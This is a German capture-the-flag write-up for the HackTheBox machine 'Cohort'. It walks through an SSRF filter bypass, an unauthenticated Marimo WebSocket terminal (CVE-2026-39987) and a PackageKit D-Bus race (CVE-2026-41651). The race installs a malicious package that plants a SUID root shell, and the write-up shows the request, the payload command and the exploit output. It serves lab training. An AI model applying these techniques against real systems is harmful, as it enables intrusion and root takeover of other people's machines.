
HTB Cohort - SSRF, Marimo Pre-Auth-RCE (CVE-2026-39987) und PackageKit-Privilegieneskalation (CVE-2026-41651)
Maschine Cohort (HackTheBox). Vollständige Kill Chain:
/api/validate) → interne vhost-ErkennungmarimoFlags sind absichtlich nicht enthalten (HTB-Regeln).
10.129.93.8 cohort.htb
/api/...-Endpunkte)nb-1be3782a8afd3ad5.cohort.htb), nicht extern erreichbarDie App stellte einen URL-Validierungs-Endpunkt bereit, der entfernte Inhalte abrief und zurückgab. Der URL-Filter konnte umgangen werden, indem die Loopback-Adresse kodiert wurde:
POST /api/validate HTTP/1.1
Host: cohort.htb
{"url": "http://127.1:80/status"}
Dies traf das interne nginx und offenbarte die konfigurierten Upstreams, einschließlich des
internen Marimo-vhosts nb-1be3782a8afd3ad5.cohort.htb → 127.0.0.1:8888.
Marimos Notebook-WebSocket-Terminal-Handler validierte die Authentifizierung nicht.
Eine Verbindung zu /terminal/ws startet eine Bash-Shell über pty.fork().
Der interne vhost war über das externe nginx erreichbar, indem der interne
Host-Header gesendet wurde:
./scripts/marimo_shell.py 10.129.93.8
[+] connected to wss://10.129.93.8/terminal/ws host=nb-1be3782a8afd3ad5.cohort.htb
marimo@cohort:~$
Ergebnis: Shell als marimo (uid 1000).
marimodpkg -l | grep -i packagekit → PackageKit 1.2.8-2ubuntu1.1pkcon / polkit-Versionen passen zum anfälligen TOCTOU-Musteruser.txt unter /home/marimo/user.txtPackageKit 1.2.8 hat einen Time-of-Check / Time-of-Use-Fehler: Die Transaktionsrolle und
Flags, die vom GLib-Idle-Callback gelesen werden, können durch zwei asynchrone D-Bus-Aufrufe
auf derselben Transaktion ausgenutzt werden (Race), sodass das privilegierte Backend den zweiten Aufruf (Rolle NONE,
keine Auth-Prüfung) ausführt, obwohl der erste (SIMULATE) bereits die Autorisierungsprüfung
bestanden hat.
Zwei Aufrufe werden direkt hintereinander auf derselben Transaktion ausgeführt:
InstallFiles(SIMULATE=4) — besteht die polkit-AutorisierungsprüfungInstallFiles(NONE=0) — trägt das bösartige .deb, das als Teil desselben
Nachrichten-Batches gelesen wirdDas bösartige .deb führt ein postinst-Skript als root aus, das eine SUID-bash hinterlässt:
cp /bin/bash /tmp/.suid_bash && chmod u+s /tmp/.suid_bash
Wichtiges Detail: Die beiden Aufrufe müssen zusammen geflusht werden, damit das Backend beide
Nachrichten in einem Batch liest. Verwende GIO async call() + flush_sync():
./scripts/cve-2026-41651_gio.py
[*] CVE-2026-41651 GIO exploit
[+] TxID: /org/freedesktop/PackageKit/Transaction/22/_c3e63a1a
[*] Racing: SIMULATE=4 -> NONE=0 ...
[*] Polling for SUID bash (60s)...
........................[+] SUCCESS: SUID bash at /tmp/.suid_bash
Der ursprüngliche Exploit verwendete python-dbus:
./scripts/cve-2026-41651_pydbus.py # ❌ race lost
python-dbus serialisiert die beiden InstallFiles-Aufrufe in separate Schreibvorgänge, sodass der
Idle-Callback des Backends sie als separate Ereignisse verarbeitete und das Race nie eintrat.
GIOS flush_sync sendet beide D-Bus-Nachrichten in einem einzigen Schreib-Batch → Race gewonnen.
/tmp/.suid_bash -p -c 'id'
# uid=1000(marimo) euid=0(root) ...
/root/root.txt lesbar.
scripts/
├── marimo_shell.py # CVE-2026-39987 — WebSocket shell as marimo
├── cve-2026-41651_gio.py # CVE-2026-41651 — PackageKit TOCTOU (working, GIO)
└── cve-2026-41651_pydbus.py # CVE-2026-41651 — first attempt (python-dbus, race lost)